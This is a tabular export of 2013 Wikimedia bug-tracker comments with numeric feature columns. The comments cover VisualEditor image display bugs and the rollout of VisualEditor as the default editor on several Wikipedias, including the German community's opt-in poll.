239489,VisualEditor: Thumbnailed images without descriptions get pipes added on edit,*** Bug 50116 has been marked as a duplicate of this bug. ***,,,1372096490,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mnsdqy6zrnvlm2uqkhcw,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50116 has been marked as a duplicate of this bug. ***
239483,VisualEditor: Thumbnailed images without descriptions get pipes added on edit,"Inez is already working on this, but I don't think we have a bug for it?",,,1372017842,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mnsdqy6zrnvlm2uqkhcw,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,11.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,11.0,5.0,5.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.0,1.0,"Inez is already working on this, but I don't think we have a bug for it?"
52008,Images not displayed in latest VE deployment,"I hope this is a false alarm... but it seems to be real.

Compare [[Locomotive]] (images visible - en is currently on 1.22wmf7) with [[testwiki:VisualEditor:Locomotive]] (no images - test is on 1.22wmf8).

Seen on Firefox latest and Chrome latest.

--------------------------
**Version**: unspecified
**Severity**: critical",High,80.0,1371887280,1372003922.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-ffl4fedejvxwcxttjfil,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,5.0,13.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,3.0,6.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,6.0,3.607594936708861,0.6075949367088608,"I hope this is a false alarm... but it seems to be real.

Compare [[Locomotive]] (images visible - en is currently on 1.22wmf7) with [[testwiki:VisualEditor:Locomotive]] (no images - test is on 1.22wmf8).

Seen on Firefox latest and Chrome latest.

--------------------------
**Version**: unspecified
**Severity**: critical"
239290,Images not displayed in latest VE deployment,"Aha, I can now reproduce on that link - and looking at the HTML we get back from Parsoid, the first image comes back as

<meta typeof=""mw:Placeholder"" data-parsoid='{""src"":""[[File:Net.jpg|thumb]]"",""optList"":[{""ck"":""thumbnail"",""ak"":""thumb""}],""dsr"":[0,22,null,null]}'>

… and so VisualEditor dutifully doesn't display an image. Marking as a duplicate of the Parsoid bug, even though that is higher-numbered. Sorry about this. :-(

*** This bug has been marked as a duplicate of bug 50035 ***",,,1372003922,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ffl4fedejvxwcxttjfil,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,1.0,1.0,5.0,0.0,0.0,1.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,11.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,1.0,2.0,10.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,2.0,4.391752577319588,0.7010309278350515,"Aha, I can now reproduce on that link - and looking at the HTML we get back from Parsoid, the first image comes back as

<meta typeof=""mw:Placeholder"" data-parsoid='{""src"":""[[File:Net.jpg|thumb]]"",""optList"":[{""ck"":""thumbnail"",""ak"":""thumb""}],""dsr"":[0,22,null,null]}'>

… and so VisualEditor dutifully doesn't display an image. Marking as a duplicate of the Parsoid bug, even though that is higher-numbered. Sorry about this. :-(

*** This bug has been marked as a duplicate of bug 50035 ***"
239286,Images not displayed in latest VE deployment,"It seems to be mostly working again, although I couldn't see any images just a few hours ago. 

I still can't see the first image on [[testwiki:Net]]. This just may be the Parsoid cache though.",,,1371970998,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-ffl4fedejvxwcxttjfil,task_subcomment,,True,c1,2,False,,,-2,,4.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,19.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,12.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,6.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,6.0,3.3125,0.7916666666666666,"It seems to be mostly working again, although I couldn't see any images just a few hours ago. 

I still can't see the first image on [[testwiki:Net]]. This just may be the Parsoid cache though."
239282,Images not displayed in latest VE deployment,"(In reply to comment #1)
> … with what browser …

And, of course, you told me that. Sorry! :-( Can't reproduce on latest master or in latest push of wmf8.",,,1371970401,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ffl4fedejvxwcxttjfil,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,3.0,0.0,0.0,3.0,3.0,5.0,3.0,3.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.054054054054054,0.8918918918918919,"(In reply to comment #1)
QUOTE

And, of course, you told me that. Sorry! :-( Can't reproduce on latest master or in latest push of wmf8."
239279,Images not displayed in latest VE deployment,"I'm afraid I can't reproduce this - was this a transient issue, or do you still get it, and if so, with what browser, and are there any error messages on the console?",,,1371970022,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ffl4fedejvxwcxttjfil,task_subcomment,,True,c1,2,True,,,-2,,2.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,5.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,2.0,8.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,8.0,0.0,2.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.35,0.85,"I'm afraid I can't reproduce this - was this a transient issue, or do you still get it, and if so, with what browser, and are there any error messages on the console?"
51998,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","Currently scheduled for w/c 15 July. It's anticipated that this will not be possible for some wikis due to failings in VisualEditor and/or Parsoid; exact list to be determined closer to the time.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51792
https://bugzilla.wikimedia.org/show_bug.cgi?id=33126
https://bugzilla.wikimedia.org/show_bug.cgi?id=33077
https://bugzilla.wikimedia.org/show_bug.cgi?id=52202",High,80.0,1371860160,1375105856.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_description,resolved,True,c1,2,True,False,True,-2,,1.0,0.0,0.0,1.0,1.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,18.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,10.0,10.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.6164383561643834,0.6301369863013698,"Currently scheduled for w/c 15 July. It's anticipated that this will not be possible for some wikis due to failings in VisualEditor and/or Parsoid; exact list to be determined closer to the time.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL
URL
URL"
238670,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","(In reply to comment #14)
> (In reply to comment #13)
> > The patch was committed and merged (but the notification bot incorrectly
> > reset the status), so I'm setting this back to FIXED again as the original
> > request that this bug report is about (see subject line) has been fulfilled.
> 
> I'm not sure the original request (""top 15"" Wikipedias) has been fulfilled,
> but I'm also not sure that's still the goal. I'll leave this bug to James to
> sort out.

Re-titled for clarity. I feel that this is closed.",,,1375125139,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,29.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,13.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.973684210526316,0.6052631578947368,"(In reply to comment #14)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Re-titled for clarity. I feel that this is closed."
238667,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","Change 76199 merged by jenkins-bot:
Enable anonymous use of VisualEditor on es/fr/he/it/pl/ru/sv

https://gerrit.wikimedia.org/r/76199",,,1375115804,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,10.0,27.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.8333333333333334,"Change 76199 merged by jenkins-bot:
Enable anonymous use of VisualEditor on es/fr/he/it/pl/ru/sv

GERRIT_URL"
238664,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","(In reply to comment #13)
> The patch was committed and merged (but the notification bot incorrectly
> reset the status), so I'm setting this back to FIXED again as the original
> request that this bug report is about (see subject line) has been fulfilled.

I'm not sure the original request (""top 15"" Wikipedias) has been fulfilled, but I'm also not sure that's still the goal. I'll leave this bug to James to sort out.",,,1375115210,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,16.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,5.0,0.0,4.0,0.0,5.0,9.0,5.0,0.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.107142857142857,0.7142857142857143,"(In reply to comment #13)
QUOTE
QUOTE
QUOTE

I'm not sure the original request (""top 15"" Wikipedias) has been fulfilled, but I'm also not sure that's still the goal. I'll leave this bug to James to sort out."
238661,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","The patch was committed and merged (but the notification bot incorrectly reset the status), so I'm setting this back to FIXED again as the original request that this bug report is about (see subject line) has been fulfiled.
Note that this is not any kind of statement refering to bug 52202, it's just to reflect the current situation. For the German Wikipedia deployment, please refer to bug 52202 instead. Thanks!",,,1375105856,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,True,,,4,,1.0,0.0,0.0,2.0,1.0,4.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,6.0,4.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,5.0,0.0,0.0,1.0,0.0,2.0,13.0,1.0,2.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,10.0,2.0,4.0,12.0,0.0,0.0,1.0,0.0,6.0,1.0,2.0,0.0,2.0,12.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.119047619047619,0.7619047619047619,"The patch was committed and merged (but the notification bot incorrectly reset the status), so I'm setting this back to FIXED again as the original request that this bug report is about (see subject line) has been fulfiled.
Note that this is not any kind of statement refering to bug 52202, it's just to reflect the current situation. For the German Wikipedia deployment, please refer to bug 52202 instead. Thanks!"
238656,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","**wikipedia** wrote:

(In reply to comment #11)
> They more than likely mean all the major bugs that cause issues with editing
> (eg: dirty diffs, randomly inserting pawns to name two)

Exactly, thank you for clarification.",,,1375089579,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,11.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1785714285714284,0.7857142857142857,"**wikipedia** wrote:

(In reply to comment #11)
QUOTE
QUOTE

Exactly, thank you for clarification."
238652,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","(In reply to comment #10)
> (In reply to comment #8)
> > 3) VE to be opt-in only until all bugs are fixed: 430 votes (!)
> 
> Personal opinion: I am not aware of a single software that is proven to be
> completely bug-free. This is an impossible requirement that cannot be
> fulfiled.

They more than likely mean all the major bugs that cause issues with editing (eg: dirty diffs, randomly inserting pawns to name two)",,,1375085597,,PHID-USER-hwuumsjqciw7ji5qhpc7,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,4,,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,4.0,0.0,2.0,10.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,3.5208333333333335,0.7291666666666666,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

They more than likely mean all the major bugs that cause issues with editing (eg: dirty diffs, randomly inserting pawns to name two)"
238647,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","(In reply to comment #8)
> 3) VE to be opt-in only until all bugs are fixed: 430 votes (!)

Personal opinion: I am not aware of a single software that is proven to be completely bug-free. This is an impossible requirement that cannot be fulfiled.",,,1375085393,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,2.0,5.0,5.0,12.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,12.0,12.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.738095238095238,0.8571428571428571,"(In reply to comment #8)
QUOTE

Personal opinion: I am not aware of a single software that is proven to be completely bug-free. This is an impossible requirement that cannot be fulfiled."
238641,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)",bug 52202 has been created based on the German Wikipedia poll.,,,1375058081,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,bug 52202 has been created based on the German Wikipedia poll.
238634,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","**wikipedia** wrote:

In the quick poll (see #7) the results at the moment are as following:

1) enabeling VE as default for all users: 21 votes
2) VE as default for logged-in users: 6 votes
3) VE to be opt-in only until all bugs are fixed: 430 votes (!)
4) enabeling VE under another link name (suggestion was ""Visual Editor (beta)"" instead of ""Bearbeiten"" (""edit"")): 31 votes

According to this large majority of users who oppose defaulting VE by tomorrow, I hereby ask you to put VE back to opt-in for logged-in users until the most important bugs are fixed. Thank you.",,,1375045061,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,1.0,0.0,0.0,1.0,0.0,3.0,0.5,0.0,0.0,0.0,5.0,0.0,0.0,0.5,0.0,0.5,0.5,3.0,13.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.5,1.5,0.0,0.0,0.5,3.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,2.0,3.0,8.0,0.0,0.0,4.5,0.0,0.0,0.5,0.5,2.0,0.0,3.5,0.0,2.0,13.0,5.5,0.0,4.0,0.0,2.0,0.0,0.5,0.0,0.0,3.0,0.0,0.5,1.0,3.203963963963964,0.6716216216216215,"**wikipedia** wrote:

In the quick poll (see #7) the results at the moment are as following:

1) enabeling VE as default for all users: 21 votes
2) VE as default for logged-in users: 6 votes
3) VE to be opt-in only until all bugs are fixed: 430 votes (!)
4) enabeling VE under another link name (suggestion was ""Visual Editor (beta)"" instead of ""Bearbeiten"" (""edit"")): 31 votes

According to this large majority of users who oppose defaulting VE by tomorrow, I hereby ask you to put VE back to opt-in for logged-in users until the most important bugs are fixed. Thank you."
238626,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","the German wikipedia just started a quick poll over the weekend to at least postpone this activation for anonymous users on monday:

https://de.wikipedia.org/wiki/Wikipedia:Umfragen/VisualEditor_Opt-in

the poll has currently also a option for the previous state where VE was Opt-in for users instead of Opt-out if this is still possible.

It would be appreciated to take the outcome on monday into account and postpone this activation for dewiki if desired.",,,1374879438,,PHID-USER-jcypqodpdpbcicgwgh7j,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,1.0,0.0,8.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,21.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,9.0,4.0,8.0,4.0,1.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,21.0,10.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,4.217948717948718,0.7051282051282052,"the German wikipedia just started a quick poll over the weekend to at least postpone this activation for anonymous users on monday:

URL

the poll has currently also a option for the previous state where VE was Opt-in for users instead of Opt-out if this is still possible.

It would be appreciated to take the outcome on monday into account and postpone this activation for dewiki if desired."
238617,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)",It's unclear whether the German Wikipedia wants this: <http://lists.wikimedia.org/pipermail/wikitech-l/2013-July/070807.html>.,,,1374874055,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,33.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.166666666666667,1.0,It's unclear whether the German Wikipedia wants this: <URL
238611,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","Change 76199 had a related patch set uploaded by Jforrester:
Enable anonymous use of VisualEditor on de/es/fr/he/it/pl/ru/sv

https://gerrit.wikimedia.org/r/76199",,,1374873719,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,9.0,26.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4571428571428573,0.8285714285714286,"Change 76199 had a related patch set uploaded by Jforrester:
Enable anonymous use of VisualEditor on de/es/fr/he/it/pl/ru/sv

GERRIT_URL"
238604,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)",This is now done.,,,1374685783,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,This is now done.
